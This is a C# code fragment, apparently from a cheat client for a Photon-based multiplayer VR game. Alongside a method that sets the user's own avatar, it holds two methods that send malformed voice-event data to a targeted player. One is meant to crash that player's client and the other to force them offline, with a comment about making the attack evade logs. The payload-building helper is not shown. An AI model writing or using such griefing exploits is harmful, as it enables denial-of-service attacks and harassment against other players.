public static void LoadAvatarFromId(string id) { //get my actor ID int actor = Functions.GetPhotonId(PlayerManager.GetPlayer(APIUser.CurrentUser.id)); //set avatar ID in keyvaluepair List <KeyValuePair <object, object> > kpList = new List <KeyValuePair <object, object> >() { ActorProperties.SetAvatarId(id), }; PhotonSend.SetProperties(actor, kpList.ToArray()); }
public static void TriggerIndexOutOfRange(Player p = null) { //byte array of 0 will trigger index out of range for targetted player byte[] data = Functions.ExploitData(true); int target = Functions.GetPhotonId(p); RaiseEventOptions options = new RaiseEventOptions() { TargetActors = new int[] { target } }; for (int i = 0; i < 6; i++) { PhotonSend.RaiseEvent(EventType.SendVoice, data, default(SendOptions), options); } }
//4 BOTS REQUIRED (ALT. 4 PLAYERS) public static void LogoutTarget(Player p) { /* mess with index 5,6 and 7 for server time * can make it logless by making resulting num less than 2k * but me lazy */ byte[] data = Functions.ExploitData(false); RaiseEventOptions options = new RaiseEventOptions() { TargetActors = new int[] { Functions.GetPhotonId(p) } }; for (int i = 0; i < 6; i++) { PhotonSend.RaiseEvent(EventType.SendVoice, data, default(SendOptions), options); } }